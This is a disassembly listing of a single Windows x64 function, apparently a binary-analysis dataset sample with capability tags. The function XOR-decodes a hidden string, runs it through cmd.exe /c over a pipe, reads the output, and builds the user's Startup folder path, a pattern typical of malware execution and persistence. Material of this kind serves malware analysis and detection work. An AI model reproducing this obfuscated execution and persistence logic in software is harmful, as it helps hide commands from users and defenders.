Function at 0x140002190
Capabilities:
Create pipe
Create process on windows
Encode data using xor
Get common file path
Get comspec environment variable
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x13b0]
mov eax, 0x14b0
call fcn.140004070
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x13a0], rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.GetUserNameA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], 0x18
mov qword [rsp + 0x70], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], rax
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x3a0]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x30], r12d
mov esi, 0x200
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x68], r12
xor r9d, r9d
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [rbp - 0x44], 0x101
mov word [rbp - 0x40], r12w
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov eax, dword [str.til_om]
mov dword [rbp + 0x90], eax
movzx eax, word [0x140005624]
mov word [rbp + 0x94], ax
movzx eax, byte [0x140005626]
mov byte [rbp + 0x96], al
xor edx, edx
mov r8d, 0xfd
lea rcx, [rbp + 0x97]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x50], send
mov byte [rbp + 0x38], r12b
lea rax, [rbp + 0x90]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x1400022f4
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x38]
call fcn.140002f00
nop
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], 2
mov dword [rbp + 0x84], 4
mov r11d, r12d
movsxd rbx, dword [rbp + 0x48]
test rbx, rbx
jle 0x14000238e
mov r10, r12
nop
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae r8, qword [rbp + 0x38]
lea r9, [rbp + 0x38]
cmovae r9, qword [rbp + 0x38]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x70]
xor cl, byte [r8 + r10]
mov byte [r10 + r9], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x140002340
lea rbx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
jb 0x1400023b3
mov rbx, qword [rbp + 0x38]
test rbx, rbx
jne 0x1400023b3
lea rcx, str.NULLww_n
call fcn.140001040
jmp 0x140002473
mov r8d, esi
lea rdx, [rbp + 0x1a0]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x14000240a
mov edx, esi
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x1a0]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x1400023e7
mov rdx, rsi
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x140002410
test eax, eax
je 0x140002473
lea rcx, [rbp + 0x1a0]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140002427
mov rdx, rsi
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x1a0]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140002454
sub rsi, rax
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0x3a0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], send
mov byte [rbp + 0x10], 0
lea rax, [rbp + 0x3a0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400024f0
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x10]
call fcn.140002f00
nop
lea rbx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rbx, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x20]
test rsi, rsi
je 0x1400025ae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0xec], 1
lea rax, [rsi - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x1400025a9
cmp rcx, rbx
je 0x1400025ae
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x140002594
sub rcx, rbx
jmp 0x1400025b1
mov rcx, rdi
inc rcx
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], send
cmp rsi, rcx
jb 0x1400028c3
sub rsi, rcx
cmp rsi, 0xffffffffffffffff
cmovb rdi, rsi
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
add rdx, rcx
mov r8, rdi
lea rcx, [rbp + 0x70]
call fcn.140002f00
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140002636
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002631
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400027ea
call fcn.140003240
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], send
mov byte [rbp - 0x10], 0
xor r8d, r8d
lea rdx, [0x1400054d8]
lea rcx, [rbp - 0x10]
call fcn.140002f00
nop
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x1400026b8
lea rax, [rcx + 9]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8d, 9
lea rdx, str.C:Users_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x1400026d6
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
mov edx, 9
lea rcx, [rbp - 0x10]
call fcn.140003080
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae r9, qword [rbp + 0x10]
mov rdi, qword [rbp + 0x20]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140002727
lea rax, [rdi + rcx]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140002738
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.140003080
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rax, 0x3e
jb 0x14000277f
lea rax, [rcx + 0x3e]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8d, 0x3e
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x3e], 0
jmp 0x14000279d
mov qword [rsp + 0x20], 0x3e
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov edx, 0x3e
lea rcx, [rbp - 0x10]
call fcn.140003080
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [0x140005570]
call fcn.140001040
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400027f6
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov qword [rbp], r12
mov qword [rbp + 8], send
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140002844
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000283f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000283f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], send
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140002892
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000288d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000288d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov eax, 1
mov rcx, qword [rbp + 0x13a0]
xor rcx, rsp
call fcn.140003220
lea r11, [rsp + 0x14b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140003060
nop
int3